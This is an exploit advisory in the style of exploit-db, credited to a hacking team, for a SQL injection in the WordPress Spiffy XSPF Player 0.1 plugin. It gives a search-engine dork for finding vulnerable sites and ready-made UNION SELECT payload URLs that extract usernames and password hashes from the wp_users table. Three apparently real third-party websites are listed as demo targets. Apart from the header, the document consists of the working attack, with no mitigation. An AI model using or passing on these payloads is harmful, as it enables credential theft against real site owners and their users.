WordPress Spiffy XSPF Player 0.1 SQL Injection

`##############  
# Exploit Title : Wordpress Spiffy XSPF Player plugin SQL Injection  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Home : www.ashiyane.org  
#  
# Security Risk : High  
#  
# Version : 0.1  
#  
# Dork : inurl:wp-content/plugins/spiffy/playlist.php?playlist_id=  
#  
##############  
#Location:site/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL]  
#  
#  
#DEm0:  
# http://www.greatacoustics.org/wp-content/plugins/spiffy/playlist.php?playlist_id=-2+union+select+1,group_concat%28user_login,0x3a,user_pass%29,3,4,5+from+wp_users--  
#  
# http://www.animaterrasings.org/wp-content/plugins/spiffy/playlist.php?playlist_id=-7+union+select+1,group_concat%28user_login,0x3a,user_pass%29,3,4,5+from+wp_users--  
#  
# http://www.jaynekelly.com/wp-content/plugins/spiffy/playlist.php?playlist_id=-2+union+select+1,group_concat%28user_login,0x3a,user_pass%29,3,4,5+from+wp_users--  
#  
##############  
#Greetz to: My Lord ALLAH  
##############  
#  
# Amirh03in  
#  
##############   
`